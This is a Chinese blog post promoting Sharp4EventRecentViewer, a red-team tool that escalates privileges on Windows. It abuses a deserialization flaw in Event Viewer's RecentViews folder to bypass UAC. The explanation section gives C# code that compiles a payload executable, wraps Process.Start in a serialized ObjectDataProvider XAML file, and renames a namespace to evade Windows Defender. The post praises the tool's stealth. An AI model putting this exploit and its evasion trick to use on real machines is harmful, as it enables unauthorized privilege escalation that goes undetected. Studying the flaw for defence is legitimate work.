.NET 一款事件查看器反序列化漏洞绕过UAC的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4EventRecentViewer是一款红队常用的UAC绕过工具,利用Windows事件查看器的反序列化漏洞,来实现系统命令执行和UAC绕过。本文将详细介绍该工具的使用方式、代码实现,以及其在红队渗透测试中的实际应用。

图片

03使用方法

在执行Sharp4EventRecentViewer时,只需提供需要执行的命令行参数。例如:

Sharp4EventRecentViewer.exe cmd.exe

工具会自动生成的恶意载荷文件并写入到事件查看器的RecentViews路径。如下图所示。

图片

然后工具自动化模拟用户打开事件查看器,完成触发反序列化漏洞,启动新的CMD进程命令。如下图所示。

图片

04原理解析

以下是工具的关键代码部分解析,工具首先检查事件查看器的RecentViews文件夹是否存在,并确定该路径为目标路径。

string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Event Viewer", "RecentViews");
Console.WriteLine("Checking if the path \"{0}\" exists...", path);

通过Environment.GetFolderPath方法获取用户的本地应用数据文件夹,再结合Path.Combine方法确定Event Viewer\RecentViews的完整路径。

随后,使用C#代码动态编译一个恶意的可执行文件,其中包含了CreateProcess API调用,用于执行系统命令:

CSharpCodeProvider codeProvider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateExecutable = true;
parameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");

string sourceCode = "..."; // 恶意代码(包含CreateProcess调用)
codeProvider.CompileAssemblyFromSource(parameters, new string[] { sourceCode });

此处,利用动态编译功能允许生成随时变更的恶意载荷,提高了工具的灵活性和隐蔽性。之后,工具生成了ObjectDataProvider对象,并将其序列化为XAML字符串

ObjectDataProvider provider = new ObjectDataProvider
{
    MethodName = "Start",
    ObjectInstance = new Process { StartInfo = new ProcessStartInfo { FileName = outputAssembly } }
};

StringBuilder sb = new StringBuilder();
XmlWriterSettings settings = new XmlWriterSettings { Indent = true };
using (XmlWriter writer = XmlWriter.Create(sb, settings))
{
    XamlWriter.Save(provider, writer);
}
string xaml = sb.ToString();
xaml = xaml.Replace("xmlns:sd", "xmlns:sf").Replace("<sd:", "<sf:").Replace("</sd:", "</sf:");

此处,ObjectDataProvider类被用来封装恶意Process对象,将Start方法作为序列化执行目标。通过对XAML文件内容中的sd命名空间进行修改,进一步绕过Windows Defender的检测。当事件查看器加载该文件时,会通过反序列化漏洞执行恶意命令,实现UAC绕过,执行payload。

综上,Sharp4EventRecentViewer充分利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,该工具因其高度隐蔽性和无文件特性而受到广泛应用。

05.NET安全知识库

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值